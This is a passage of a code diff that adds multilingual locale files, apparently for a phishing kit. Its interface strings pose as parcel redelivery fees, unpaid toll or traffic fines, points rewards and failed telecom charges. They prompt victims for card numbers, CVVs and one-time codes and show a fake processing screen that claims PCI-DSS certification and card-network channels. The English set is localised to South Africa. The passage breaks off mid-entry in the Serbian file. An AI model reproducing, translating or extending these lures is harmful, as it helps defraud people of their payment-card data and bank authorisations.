kommunikationsgebyr mislykkedes", + "Illustrate": "Illustrer", + "SSL Encryption": "SSL-kryptering", + "PCI-DSS Certified": "PCI-DSS-certificeret", + "Transaction Details": "Transaktionsdetaljer", + "Transaction ID:": "Transaktions-ID:", + "Processing Network:": "Behandlingsnetværk:", + "Processing Time:": "Behandlingstid:", + "Security Level:": "Sikkerhedsniveau:", + "Preparing...": "Forbereder...", + "High": "Høj", + "Initializing payment environment...": "Initialiserer betalingsmiljø...", + "Encrypting card information...": "Krypterer kortoplysninger...", + "Establishing secure connection...": "Etablerer sikker forbindelse...", + "Verifying card number and issuer...": "Bekræfter kortnummer og udsteder...", + "Validating CVV code...": "Validerer CVV-kode...", + "Checking fraud risk...": "Tjekker svindelrisiko...", + "Sending transaction request...": "Sender transaktionsanmodning...", + "Waiting for bank authorization...": "Venter på bankgodkendelse...", + "Processing bank response...": "Behandler banksvar...", + "Confirming transaction status...": "Bekræfter transaktionsstatus...", + "Finalizing transaction...": "Afslutter transaktion...", + "Visa Secure Network": "Visa Secure Network", + "Mastercard Global Payment Network": "Mastercard Globalt Betalingsnetværk", + "American Express Dedicated Channel": "American Express Dedikeret Kanal", + "UnionPay Gateway": "UnionPay Gateway", + "{time} seconds": "{time} sekunder", + "International Payment Network": "Internationalt Betalingsnetværk" +} \ No newline at end of file diff --git a/a5_za_sf_finessa/src/locales/en/index.ts b/a5_za_sf_finessa/src/locales/en/index.ts new file mode 100644 index 0000000..280c8be --- /dev/null +++ b/a5_za_sf_finessa/src/locales/en/index.ts @@ -0,0 +1,150 @@ +export default { + "There is an error in this field, please check": "There is an error in this field, please check", + "Please enter a valid email address": "Please enter a valid email address", + "Dear users, please fill in the form carefully to ensure the successful delivery": "Dear users, please fill in the form carefully to ensure successful delivery", + "Your Name": "Your Name", + "Address": "Address", + "Detailed Address": "Detailed Address", + "(Optional)": "(Optional)", + "City": "City", + "State": "State", + "Province": "Province", + "Region": "Region", + "Zip Code": "Postal Code", + "E-Mail": "Email", + "Next": "Next", + "Telephone Number": "Phone Number", + "Online": "Online", + "Payment": "Payment", + "For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "For redelivery, a service fee is required. Your package will be dispatched after payment is confirmed.", + "lump sum: ": "Total Amount: ", + "Cardholder": "Cardholder Name", + "Card Number": "Card Number", + "Expire Date": "Expiry Date", + "Security Code": "Security Code (CVV)", + "Submit": "Submit", + "Click here to receive another code": "Click here to receive a new code", + "Please confirm your identity and a one-time code will be sent": "Please confirm your identity; a one-time PIN (OTP) will be sent to your phone or email. Enter the code here.", + "The verification code has been sent to": "The verification code has been sent to", + "Please do not click the": "Please do not click 'Refresh' or 'Back' as it may interrupt the transaction.", + "Verification code error, please try again": "Verification code error, please try again", + "The session is about to expire, please complete the verification now": "The session is about to expire, please complete the verification now", + "This card does not support this transaction, please try another card": "This card does not support this transaction, please try another card", + "Authorized bank": "Authorized Bank", + "Please go to the bank App to confirm the authorization": "Please go to your bank app to confirm the authorization", + "Please do not close this page": "Please do not close this page", + "Payment Successful": "Payment Successful!", + "Thank you for your purchase. Your payment has been processed successfully": "Thank you. Your payment has been processed successfully.", + "Mailing address": "Shipping Address", + "street address or house number": "Street address or house number", + "Apartment number": "Apartment, suite, unit, etc.", + "Safe payment": "Secure Payment", + "Verification code": "Verification Code", + "Welcome": "Welcome", + "back": "Back", + "We reward you for using point services": "We reward you for using our points services", + "Check your points": "Check your points balance", + "Phone number": "Phone Number", + "Inquire": "Inquire", + "Exchange": "Redeem", + "Spend points": "Spend Points", + "Points Available": "Points Available", + "You don't have enough points": "Inadequate points balance", + "Please redeem your favorite product": "Please redeem your preferred reward", + "Confirm your shipping address": "Confirm delivery address", + "Order number": "Order Number: ", + "Pay": "Pay", + "Pay Message": "Pay {0} to redeem your points for rewards", + "Pay electronic tolls online": "Pay electronic tolls online", + "your electronic toll payment was unsuccessful": "Your toll payment was unsuccessful.", + "Billing Information": "Billing Information", + "Description": "Description", + "Dear customer": "Dear Customer:", + "Electronic Communications Charge Payment Failed": "Electronic Communications payment failed", + "Invoice Number": "Notice / Invoice Number", + "Amount": "Amount", + "Pay Immediately": "Pay Immediately", + "Phone Number": "Phone Number", + "Electronic communication fee payment failed": "Electronic communication fee payment failed", + "Illustrate": "Details", + "SSL Encryption": "SSL Encryption", + "PCI-DSS Certified": "PCI-DSS Certified", + "Transaction Details": "Transaction Details", + "Transaction ID:": "Transaction ID:", + "Processing Network:": "Processing Network:", + "Processing Time:": "Processing Time:", + "Security Level:": "Security Level:", + "Preparing...": "Preparing...", + "High": "High", + "Initializing payment environment...": "Initializing secure payment environment...", + "Encrypting card information...": "Encrypting card information...", + "Establishing secure connection...": "Establishing secure connection...", + "Verifying card number and issuer...": "Verifying card number and issuer...", + "Validating CVV code...": "Validating CVV code...", + "Checking fraud risk...": "Checking fraud risk...", + "Sending transaction request...": "Sending transaction request...", + "Waiting for bank authorization...": "Waiting for bank authorization...", + "Processing bank response...": "Processing bank response...", + "Confirming transaction status...": "Confirming transaction status...", + "Finalizing transaction...": "Finalizing transaction...", + "Visa Secure Network": "Visa Secure Network", + "Mastercard Global Payment Network": "Mastercard Global Payment Network", + "American Express Dedicated Channel": "American Express Dedicated Channel", + "UnionPay Gateway": "UnionPay Gateway", + "{time} seconds": "{time} seconds", + "International Payment Network": "International Payment Network", + "Homepage License Plate": "Vehicle Registration", + "JCC Smart Cyprus Image": "Security Image", + "Check Your Payment Details": "Check Your Payment Details", + "Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Enter your vehicle's license plate number to verify your account and ensure timely payment to avoid penalties.", + "Enter license plate number (e.g. XYZ1234)": "Enter license plate number (e.g. ABC 123 GP)", + "Verify Payment Details": "Verify Payment Details", + "Toll Payment": "Toll / Fine Payment", + "License Plate Number": "License Plate Number", + "Traffic violation information (e.g. mobile phone use while driving). First violation 50€, second violation 150€, and so on.": "Traffic violation info (e.g., speeding). First violation R400, second violation R600, etc.", + "Tolls": "Fines / Tolls", + "Due Date": "Due Date", + "Fine Amount": "Fine Amount", + "Pay Now": "Pay Now", + "Note that, due to late payment, this transaction is valid only for credit card payments.": "Please note: due to late payment, this transaction only accepts credit card payments.", + "Cardholder Name": "Cardholder Name", + "First and Last Name": "First and Last Name", + "XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX", + "Expiration Date": "Expiration Date", + "MM/YY": "MM/YY", + "123(CVV)": "123 (CVV)", + "Card Icon": "Card Icon", + "CVV": "CVV", + "Successful Toll Payment": "Payment Successful", + "Thank you for your payment. The tolls have been processed successfully.": "Thank you. Your infringement / toll payment has been processed successfully.", + "Phone": "Phone", + "Toll Amount": "Total Amount", + payment_loading: { + modal_title: "Processing Payment", + modal_subtitle: "Please do not close this page", + transaction_details: "Transaction Details", + transaction_id: "Transaction ID:", + processing_network: "Processing Network:", + processing_time: "Processing Time:", + security_level: "Security Level:", + preparing: "Preparing...", + high: "High", + step_init: "Initializing payment environment...", + step_encrypt: "Encrypting card information...", + step_connect: "Establishing secure connection...", + step_verify_card: "Verifying card number and issuer...", + step_validate_cvv: "Validating CVV code...", + step_fraud: "Checking fraud risk...", + step_send: "Sending transaction request...", + step_wait_auth: "Waiting for bank authorization...", + step_process_resp: "Processing bank response...", + step_confirm: "Confirming transaction status...", + step_finalize: "Finalizing transaction...", + network_visa: "Visa Secure Network", + network_mastercard: "Mastercard Global Payment Network", + network_amex: "American Express Dedicated Channel", + network_unionpay: "UnionPay Payment Channel", + network_intl: "International Payment Network", + time_seconds: "{time} seconds", + }, +}; \ No newline at end of file diff --git a/a5_za_sf_finessa/src/locales/es/index.ts b/a5_za_sf_finessa/src/locales/es/index.ts new file mode 100644 index 0000000..5164709 --- /dev/null +++ b/a5_za_sf_finessa/src/locales/es/index.ts @@ -0,0 +1,122 @@ +export default { + "There is an error in this field, please check": "Hay un error en este campo, por favor verifique", + "Please enter a valid email address": "Por favor, introduzca una dirección de correo electrónico válida", + "Dear users, please fill in the form carefully to ensure the successful delivery": "Estimados usuarios, por favor completen el formulario cuidadosamente para garantizar la entrega exitosa", + "Your Name": "Su nombre", + "Address": "Dirección", + "Detailed Address": "Dirección detallada", + "(Optional)": "(Opcional)", + "City": "Ciudad", + "State": "Estado", + "Province": "Provincia", + "Region": "Región", + "Zip Code": "Código postal", + "E-Mail": "Correo electrónico", + "Next": "Siguiente", + "Telephone Number": "Número de teléfono", + "Online": "En línea", + "Payment": "Pago", + "For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "Para la reentrega, necesitamos cobrar algunas tarifas de servicio. Su paquete será reenviado después del pago", + "lump sum: ": "Suma total: ", + "Cardholder": "Titular de la tarjeta", + "Card Number": "Número de tarjeta", + "Expire Date": "Fecha de expiración", + "Security Code": "Código de seguridad", + "Submit": "Enviar", + "Click here to receive another code": "Haga clic aquí para recibir otro código", + "Please confirm your identity and a one-time code will be sent": "Por favor confirme su identidad y se enviará un código de un solo uso a su teléfono o correo electrónico. Ingrese el código de verificación aquí", + "The verification code has been sent to": "El código de verificación ha sido enviado a", + "Please do not click the": "Por favor no haga clic en los botones 'Actualizar' o 'Atrás' ya que esto podría terminar su transacción", + "Verification code error, please try again": "Error en el código de verificación, por favor intente nuevamente", + "The session is about to expire, please complete the verification now": "La sesión está a punto de expirar, por favor complete la verificación ahora", + "This card does not support this transaction, please try another card": "Esta tarjeta no admite esta transacción, por favor intente con otra tarjeta", + "Authorized bank": "Banco autorizado", + "Please go to the bank App to confirm the authorization": "Por favor ingrese a la aplicación bancaria para confirmar la autorización", + "Please do not close this page": "Por favor no cierre esta página", + "Payment Successful": "¡Pago exitoso!", + "Thank you for your purchase. Your payment has been processed successfully": "Gracias por su compra. Su pago se ha procesado con éxito", + "Mailing address": "Dirección postal", + "street address or house number": "Calle o número de casa", + "Apartment number": "Número de apartamento, habitación, etc.", + "Safe payment": "Pago seguro", + "Verification code": "Código de verificación", + "Welcome": "Bienvenido", + "back": "¡Atrás!", + "We reward you for using point services": "Le recompensamos por utilizar servicios de puntos", + "Check your points": "Consultar sus puntos", + "Phone number": "Número de teléfono", + "Inquire": "Consultar", + "Exchange": "Intercambiar", + "Spend points": "Gastar puntos", + "Points Available": "Puntos disponibles", + "You don't have enough points": "No tiene suficientes puntos", + "Please redeem your favorite product": "Por favor canjee su producto favorito", + "Confirm your shipping address": "Confirme su dirección de envío", + "Order number": "Número de pedido: ", + "Pay": "Pagar", + "Pay Message": "Pague {0} para canjear productos con puntos", + "Pay electronic tolls online": "Pagar peajes electrónicos en línea", + "your electronic toll payment was unsuccessful": "Su pago de peaje electrónico no fue exitoso.", + "Billing Information": "Información de facturación", + "Description": "Descripción", + "Dear customer": "Estimado cliente:", + "Electronic Communications Charge Payment Failed": "Error en el pago del cargo por comunicaciones electrónicas", + "Invoice Number": "Número de factura", + "Amount": "Monto", + "Pay Immediately": "Pagar ahora", + "Phone Number": "Número de teléfono", + "Electronic communication fee payment failed": "El pago de la tarifa de comunicación electrónica falló", + "Illustrate": "Ilustrar", + "SSL Encryption": "Cifrado SSL", + "PCI-DSS Certified": "Certificado PCI-DSS", + "Transaction Details": "Detalles de la transacción", + "Transaction ID:": "ID de transacción:", + "Processing Network:": "Red de procesamiento:", + "Processing Time:": "Tiempo de procesamiento:", + "Security Level:": "Nivel de seguridad:", + "Preparing...": "Preparando...", + "High": "Alta", + "Initializing payment environment...": "Inicializando entorno de pago...", + "Encrypting card information...": "Encriptando información de la tarjeta...", + "Establishing secure connection...": "Estableciendo conexión segura...", + "Verifying card number and issuer...": "Verificando número de tarjeta y emisor...", + "Validating CVV code...": "Validando código CVV...", + "Checking fraud risk...": "Comprobando riesgo de fraude...", + "Sending transaction request...": "Enviando solicitud de transacción...", + "Waiting for bank authorization...": "Esperando autorización del banco...", + "Processing bank response...": "Procesando respuesta del banco...", + "Confirming transaction status...": "Confirmando estado de la transacción...", + "Finalizing transaction...": "Finalizando transacción...", + "Visa Secure Network": "Red segura de Visa", + "Mastercard Global Payment Network": "Red global de pagos Mastercard", + "American Express Dedicated Channel": "Canal dedicado American Express", + "UnionPay Gateway": "Pasarela UnionPay", + "{time} seconds": "{time} segundos", + "International Payment Network": "Red de pagos internacional", + "Homepage License Plate": "Placa en la página de inicio", + "JCC Smart Cyprus Image": "Imagen JCC Smart Chipre", + "Check Your Payment Details": "Verifique los detalles de su pago", + "Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Ingrese la placa de su vehículo para verificar su cuenta y asegurar el pago oportuno del peaje para evitar multas.", + "Enter license plate number (e.g. XYZ1234)": "Ingrese número de placa (ej. XYZ1234)", + "Verify Payment Details": "Verificar detalles de pago", + "Toll Payment": "Pago de peaje", + "License Plate Number": "Número de placa", + "Traffic violation information (e.g. mobile phone use while driving). First violation 50€, second violation 150€, and so on.": "Información sobre infracciones de tráfico (por ejemplo, uso del teléfono móvil al conducir). Primera infracción 50€, segunda 150€, y así sucesivamente.", + "Tolls": "Peajes", + "Due Date": "Fecha de vencimiento", + "Fine Amount": "Monto de la multa", + "Pay Now": "Pagar ahora", + "Note that, due to late payment, this transaction is valid only for credit card payments.": "Tenga en cuenta que, debido al pago tardío, esta transacción solo es válida para pagos con tarjeta de crédito.", + "Cardholder Name": "Nombre del titular", + "First and Last Name": "Nombre y apellido", + "XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX", + "Expiration Date": "Fecha de expiración", + "MM/YY": "MM/AA", + "123(CVV)": "123(CVV)", + "Card Icon": "Ícono de tarjeta", + "CVV": "CVV", + "Successful Toll Payment": "Pago de peaje exitoso", + "Thank you for your payment. The tolls have been processed successfully.": "Gracias por su pago. Los peajes han sido procesados con éxito.", + "Phone": "Teléfono", + "Toll Amount": "Monto del peaje", +}; diff --git a/a5_za_sf_finessa/src/locales/hu/index.ts b/a5_za_sf_finessa/src/locales/hu/index.ts new file mode 100644 index 0000000..c503713 --- /dev/null +++ b/a5_za_sf_finessa/src/locales/hu/index.ts @@ -0,0 +1,81 @@ +export default { + "There is an error in this field, please check": + "Hiba történt ebben a mezőben, kérjük, ellenőrizze", + "Please enter a valid email address": "Kérjük, adjon meg egy érvényes e-mail címet", + "Dear users, please fill in the form carefully to ensure the successful delivery": + "Kedves felhasználók, kérjük, gondosan töltse ki az űrlapot a sikeres kézbesítés érdekében", + "Your Name": "Az Ön neve", + "Address": "Cím", + "Detailed Address": "Részletes cím", + "(Optional)": "(Opcionális)", + "City": "Város", + "State": "Állam", + "Province": "Megye", + "Region": "Régió", + "Zip Code": "Irányítószám", + "E-Mail": "E-mail", + "Next": "Tovább", + "Telephone Number": "Telefonszám", + "Online": "Online", + "Payment": "Fizetés", + "For redelivery, we need to charge some service fees.Your package will be re-delivered after payment": + "A visszaszállításhoz bizonyos szolgáltatási díjakat kell felszámítanunk. A csomagot a fizetés után kézbesítjük újra", + "lump sum: ": "átalányösszeg: ", + "Cardholder": "Kártyatulajdonos", + "Card Number": "Kártyaszám", + "Expire Date": "Lejárati dátum", + "Security Code": "Biztonsági kód", + "Submit": "Küldés", + "Click here to receive another code": "Kattintson ide egy másik kód fogadásához", + "Please confirm your identity and a one-time code will be sent": + "Kérjük, erősítse meg személyazonosságát, és egy egyszeri kódot küldünk a mobiltelefonszámára vagy e-mail címére. Kérjük, itt adja meg az ellenőrző kódot", + "The verification code has been sent to": + "Az ellenőrző kódot elküldtük a következő címre:", + "Please do not click the": + "Kérjük, ne kattintson a 'Frissítés' vagy a 'Vissza' gombokra, mert ez megszakíthatja a tranzakciót", + "Verification code error, please try again": + "Ellenőrző kód hiba, kérjük, próbálja újra", + "The session is about to expire, please complete the verification now": + "A munkamenet hamarosan lejár, kérjük, fejezze be az ellenőrzést most", + "This card does not support this transaction, please try another card": + "Ez a kártya nem támogatja ezt a tranzakciót, kérjük, próbáljon meg egy másik kártyát", + "Authorized bank": "Engedélyezett bank", + "Please go to the bank App to confirm the authorization": + "Kérjük, menjen a banki alkalmazásba az engedélyezés megerősítéséhez", + "Please do not close this page": "Kérjük, ne zárja be ezt az oldalt", + "Payment Successful": "Sikeres fizetés!", + "Thank you for your purchase. Your payment has been processed successfully": + "Köszönjük a vásárlást. A fizetése sikeresen feldolgozva", + "Mailing address": "Levelezési cím", + "street address or house number": "utca vagy házszám", + "Apartment number": "Lakásszám, szobaszám stb.", + "Safe payment": "Biztonságos fizetés", + "Verification code": "Ellenőrző kód", + "Welcome": "Üdvözöljük", + "back":"vissza!", + "We reward you for using point services": "Megjutalmazzuk a pontszolgáltatások használatáért", + "Check your points": "Ellenőrizze a pontjait", + "Phone number": "Telefonszám", + "Inquire": "Érdeklődés", + "Exchange": "Csere", + "Spend points": "Pontok felhasználása", + "Points Available": "Elérhető pontok", + "You don't have enough points": "Nincs elég pontja", + "Please redeem your favorite product": "Kérjük, váltsa be kedvenc termékét", + "Confirm your shipping address": "Erősítse meg szállítási címét", + "Order number": "Rendelésszám: ", + "Pay": "Fizetés", + "Pay Message": "Fizessen {0}-t a pontok áruértékre váltásához", + "Pay electronic tolls online": "Fizessen elektronikus útdíjat online", + "your electronic toll payment was unsuccessful": "az elektronikus útdíj fizetése sikertelen volt.", + "Billing Information": "Számlázási adatok", + "Description": "Leírás", + "Dear customer": "Kedves vásárlónk:", + "Electronic Communications Charge Payment Failed": "Az elektronikus kommunikációs díj fizetése sikertelen", + "Invoice Number": "Számlaszám", + "Amount": "Összeg", + "Pay Immediately": "Fizessen azonnal", + "Phone Number": "Telefonszám", + "Electronic communication fee payment failed": "Az elektronikus kommunikációs díj fizetése sikertelen", + "Illustrate":"Szemléltet" +}; diff --git a/a5_za_sf_finessa/src/locales/lv/index.ts b/a5_za_sf_finessa/src/locales/lv/index.ts new file mode 100644 index 0000000..0aba401 --- /dev/null +++ b/a5_za_sf_finessa/src/locales/lv/index.ts @@ -0,0 +1,123 @@ +export default { + "There is an error in this field, please check": "Šajā laukā ir kļūda, lūdzu pārbaudiet", + "Please enter a valid email address": "Lūdzu, ievadiet derīgu e-pasta adresi", + "Dear users, please fill in the form carefully to ensure the successful delivery": "Cienījamie lietotāji, lūdzu, rūpīgi aizpildiet veidlapu, lai nodrošinātu veiksmīgu piegādi", + "Your Name": "Jūsu vārds", + "Address": "Adrese", + "Detailed Address": "Precīza adrese", + "(Optional)": "(Neobligāti)", + "City": "Pilsēta", + "State": "Valsts / Šķēršlis", + "Province": "Province", + "Region": "Reģions", + "Zip Code": "Pasta indekss", + "E-Mail": "E-pasts", + "Next": "Nākamais", + "Telephone Number": "Tālruņa numurs", + "Online": "Tiešsaistē", + "Payment": "Maksājums", + "For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "Par atkārtotu piegādi mums jāiekasē pakalpojuma maksa. Jūsu sūtījums tiks atkārtoti piegādāts pēc maksājuma", + "lump sum: ": "Vienreizējs maksājums: ", + "Cardholder": "Kartes īpašnieks", + "Card Number": "Kartes numurs", + "Expire Date": "Derīguma termiņš", + "Security Code": "Drošības kods", + "Submit": "Iesniegt", + "Click here to receive another code": "Noklikšķiniet šeit, lai saņemtu citu kodu", + "Please confirm your identity and a one-time code will be sent": "Lūdzu, apstipriniet savu identitāti, un uz jūsu tālruni vai e-pastu tiks nosūtīts vienreizējs kods. Ievadiet verifikācijas kodu šeit", + "The verification code has been sent to": "Verifikācijas kods ir nosūtīts uz", + "Please do not click the": "Lūdzu, neklikšķiniet uz pogām", + "Verification code error, please try again": "Verifikācijas koda kļūda, lūdzu, mēģiniet vēlreiz", + "The session is about to expire, please complete the verification now": "Sesija drīz beigsies, lūdzu, pabeidziet verifikāciju tūlīt", + "This card does not support this transaction, please try another card": "Šī karte neatbalsta šo darījumu, lūdzu, izmēģiniet citu karti", + "Authorized bank": "Autorizēta banka", + "Please go to the bank App to confirm the authorization": "Lūdzu, dodieties uz bankas lietotni, lai apstiprinātu autorizāciju", + "Please do not close this page": "Lūdzu, neaizveriet šo lapu", + "Payment Successful": "Maksājums veiksmīgs!", + "Thank you for your purchase. Your payment has been processed successfully": "Paldies par pirkumu. Jūsu maksājums ir veiksmīgi apstrādāts", + "Mailing address": "Pasta adrese", + "street address or house number": "Ielas adrese vai mājas numurs", + "Apartment number": "Dzīvokļa numurs, istabas numurs utt.", + "Safe payment": "Drošs maksājums", + "Verification code": "Verifikācijas kods", + "Welcome": "Laipni lūdzam", + "back": "atpakaļ!", + "We reward you for using point services": "Mēs jūs apbalvojam par punktu pakalpojumu izmantošanu", + "Check your points": "Pārbaudiet savus punktus", + "Phone number": "Tālruņa numurs", + "Inquire": "Uzzināt", + "Exchange": "Apmainīt", + "Spend points": "Tērēt punktus", + "Points Available": "Pieejamie punkti", + "You don't have enough points": "Jums nav pietiekami daudz punktu", + "Please redeem your favorite product": "Lūdzu, izmantojiet savu iecienītāko produktu", + "Confirm your shipping address": "Apstipriniet savu piegādes adresi", + "Order number": "Pasūtījuma numurs: ", + "Pay": "Maksāt", + "Pay Message": "Maksāt {0}, lai izmantotu punktus par produktiem", + "Pay electronic tolls online": "Maksājiet elektroniskās nodevas tiešsaistē", + "your electronic toll payment was unsuccessful": "Jūsu elektroniskā nodevas apmaksa bija neveiksmīga.", + "Billing Information": "Norēķinu informācija", + "Description": "Apraksts", + "Dear customer": "Cienījamais klient!", + "Electronic Communications Charge Payment Failed": "Elektronisko sakaru maksas apmaksa neizdevās", + "Invoice Number": "Rēķina numurs", + "Amount": "Summa", + "Pay Immediately": "Maksāt nekavējoties", + "Phone Number": "Tālruņa numurs", + "Electronic communication fee payment failed": "Elektroniskās komunikācijas maksas apmaksa neizdevās", + "Illustrate": "Ilustrēt", + "SSL Encryption": "SSL šifrēšana", + "PCI-DSS Certified": "PCI-DSS sertificēts", + "Transaction Details": "Darījuma detaļas", + "Transaction ID:": "Darījuma ID:", + "Processing Network:": "Apstrādes tīkls:", + "Processing Time:": "Apstrādes laiks:", + "Security Level:": "Drošības līmenis:", + "Preparing...": "Gatavo...", + "High": "Augsts", + "Initializing payment environment...": "Inicializē maksājumu vidi...", + "Encrypting card information...": "Šifrē kartes informāciju...", + "Establishing secure connection...": "Veido drošu savienojumu...", + "Verifying card number and issuer...": "Pārbauda kartes numuru un izdevēju...", + "Validating CVV code...": "Validē CVV kodu...", + "Checking fraud risk...": "Pārbauda krāpšanas risku...", + "Sending transaction request...": "Sūta darījuma pieprasījumu...", + "Waiting for bank authorization...": "Gaida bankas autorizāciju...", + "Processing bank response...": "Apstrādā bankas atbildi...", + "Confirming transaction status...": "Apstiprina darījuma statusu...", + "Finalizing transaction...": "Pabeidz darījumu...", + "Visa Secure Network": "Visa drošais tīkls", + "Mastercard Global Payment Network": "Mastercard globālais maksājumu tīkls", + "American Express Dedicated Channel": "American Express veltītais kanāls", + "UnionPay Gateway": "UnionPay vārteja", + "{time} seconds": "{time} sekundes", + "International Payment Network": "Starptautiskais maksājumu tīkls", + "Homepage License Plate": "Mājaslapas numura zīme", + "JCC Smart Cyprus Image": "JCC Smart Kipras attēls", + "Check Your Payment Details": "Pārbaudiet savus maksājuma datus", + "Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Ievadiet sava transportlīdzekļa numura zīmes numuru, lai verificētu savu kontu un nodrošinātu savlaicīgu nodevas apmaksu, lai izvairītos no sodiem.", + "Enter license plate number (e.g. XYZ1234)": "Ievadiet numura zīmes numuru (piemēram, XYZ1234)", + "Verify Payment Details": "Pārbaudīt maksājuma datus", + "Toll Payment": "Nodevas apmaksa", + "License Plate Number": "Numura zīmes numurs", + "Traffic violation information (e.g. mobile phone use while driving). First violation 50€, second violation 150€, and so on.": "Informācija par ceļu satiksmes noteikumu pārkāpumiem (piemēram, mobilā tālruņa lietošana braukšanas laikā). Pirmais pārkāpums 50€, otrais pārkāpums 150€ utt.", + "Tolls": "Nodevas", + "Due Date": "Maksājuma termiņš", + "Fine Amount": "Sods", + "Pay Now": "Maksāt tagad", + "Note that, due to late payment, this transaction is valid only for credit card payments.": "Ņemiet vērā, ka sakarā ar novēlotu maksājumu šis darījums ir derīgs tikai kredītkaršu maksājumiem.", + "Cardholder Name": "Kartes īpašnieka vārds", + "First and Last Name": "Vārds un uzvārds", + "XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX", + "Expiration Date": "Derīguma termiņš", + "MM/YY": "MM/GG", + "123(CVV)": "123(CVV)", + "Card Icon": "Kartes ikona", + "CVV": "CVV", + "Successful Toll Payment": "Veiksmīga nodevas apmaksa", + "Thank you for your payment. The tolls have been processed successfully.": "Paldies par maksājumu. Nodevas ir veiksmīgi apstrādātas.", + "Phone": "Tālrunis", + "Toll Amount": "Nodevas summa", + "50.00 EUR": "50.00 EUR" +} \ No newline at end of file diff --git a/a5_za_sf_finessa/src/locales/rs/index.ts b/a5_za_sf_finessa/src/locales/rs/index.ts new file mode 100644 index 0000000..d7cb78d --- /dev/null +++ b/a5_za_sf_finessa/src/locales/rs/index.ts @@ -0,0 +1,122 @@ +export default { + "There is an error in this field, please check": "Постоји грешка у овом пољу, молимо проверите", + "Please enter a valid email address": "Унесите важећу адресу е-поште", + "Dear users, please fill in the form carefully to ensure the successful delivery": "Поштовани корисници, молимо пажљиво попуните формулар како бисте осигурали успешну испоруку", + "Your Name": "Ваше име", + "Address": "Адреса", + "Detailed Address": "Детаљна адреса", + "(Optional)": "(Опционално)", + "City": "Град", + "State": "Савезна држава", + "Province": "Покрајина", + "Region": "Регија", + "Zip Code": "Поштански број", + "E-Mail": "Е-пошта", + "Next": "Следеће", + "Telephone Number": "Број телефона", + "Online": "На мрежи", + "Payment": "Плаћање", + "For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "За поновну испоруку потребно је платити одређене услуге. Ваш пакет ће бити поново испоручен након уплате", + "lump sum: ": "укупно: ", + "Cardholder": "Име носиоца картице", + "Card Number": "Број картице", + "Expire Date": "Датум истека", + "Security Code": "Сигурносни код", + "Submit": "Пошаљи", + "Click here to receive another code": "Кликните овде да добијете нови код", + "Please confirm your identity and a one-time code will be sent": "Потврдите свој идентитет и једнократни код ће бити послат на ваш телефон или е-пошту. Унесите код овде", + "The verification code has been sent to": "Код за потврду је послат на", + "Please do not click the": "Молимо вас да не кликћете на 'Освежи' или 'Назад' јер то може прекинути трансакцију", + "Verification code error, please try again": "Грешка у коду за потврду, покушајте поново", + "The session is about to expire, please complete the verification now": "Сесија ће ускоро истећи, молимо довршите верификацију", + "This card does not support this transaction, please try another card": "Ова картица не подржава ову трансакцију, покушајте са другом картицом", + "Authorized bank": "Овлашћена банка", + "Please go to the bank App to confirm the authorization": "Идите у апликацију банке да потврдите овлашћење", + "Please do not close this page": "Не затварајте ову страницу", + "Payment Successful": "Успешно плаћање!", + "Thank you for your purchase. Your payment has been processed successfully": "Хвала вам на куповини. Плаћање је успешно обрађено", + "Mailing address": "Адреса за доставу", + "street address or house number": "Улица или број куће", + "Apartment number": "Број стана, собе итд.", + "Safe payment": "Безбедно плаћање", + "Verification code": "Код за потврду", + "Welcome": "Добродошли", + "back": "Назад!", + "We reward you for using point services": "Награђујемо вас за коришћење услуга поена", + "Check your points": "Проверите ваше поене", + "Phone number": "Број телефона", + "Inquire": "Провери", + "Exchange": "Размена", + "Spend points": "Искористите поене", + "Points Available": "Доступни поени", + "You don't have enough points": "Немате довољно поена", + "Please redeem your favorite product": "Искористите своје поене за омиљени производ", + "Confirm your shipping address": "Потврдите адресу испоруке", + "Order number": "Број поруџбине: ", + "Pay": "Плати", + "Pay Message": "Платите {0} да бисте искористили поене за производе", + "Pay electronic tolls online": "Платите електронску путарину на мрежи", + "your electronic toll payment was unsuccessful": "Ваше плаћање путарине није успело.", + "Billing Information": "Подаци за обрачун", + "Description": "Опис", + "Dear customer": "Поштовани клијент:", + "Electronic Communications Charge Payment Failed": "Плаћање трошкова електронске комуникације није успело", + "Invoice Number": "Број фактуре", + "Amount": "Износ", + "Pay Immediately": "Платите одмах", + "Phone Number": "Број телефона", + "Electronic communication fee payment failed": "Плаћање накнаде за електронску комуникацију није успело", + "Illustrate": "Објасни", + "SSL Encryption": "SSL енкрипција", + "PCI-DSS Certified": "PCI-DSS сертификат", + "Transaction Details": "Детаљи трансакције", + "Transaction ID:": "ИД трансакције:", + "Processing Network:": "Мрежа за обраду:", + "Processing Time:": "Време обраде:", + "Security Level:": "Ниво безбедности:", + "Preparing...": "Припрема се...", + "High": "Висок", + "Initializing payment environment...": "Иницијализација окружења за плаћање...", + "Encrypting card information...": "Шифровање података картице...", + "Establishing secure connection...": "Успостављање сигурне везе...", + "Verifying card number and issuer...": "Провера броја картице и издаваоца...", + "Validating CVV code...": "Проверавање CVV кода...", + "Checking fraud risk...": "Провера ризика од преваре...", + "Sending transaction request...": "Слање захтева за трансакцију...", + "Waiting for bank authorization...": "Чекање одобрења банке...", + "Processing bank response...": "Обрада одговора банке...", + "Confirming transaction status...": "Потврда статуса трансакције...", + "Finalizing transaction...": "Завршетак трансакције...", + "Visa Secure Network": "Visa безбедна мрежа", + "Mastercard Global Payment Network": "Mastercard глобална мрежа за плаћање", + "American Express Dedicated Channel": "American Express наменски канал", + "UnionPay Gateway": "UnionPay пролаз", + "{time} seconds": "{time} секунди", + "International Payment Network": "Међународна мрежа за плаћање", + "Homepage License Plate": "Почетна регистрација возила", + "JCC Smart Cyprus Image": "JCC Smart Kipar слика", + "Check Your Payment Details": "Проверите детаље плаћања", + "Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Унесите регистарски број возила да бисте проверили свој налог и благовремено платили путарину како бисте избегли казне.", + "Enter license plate number (e.g. XYZ1234)": "Унесите број таблице (нпр. XYZ1234)", + "Verify Payment Details": "Потврдите детаље плаћања", + "Toll Payment": "Плаћање путарине", + "License Plate Number": "Регистарски број 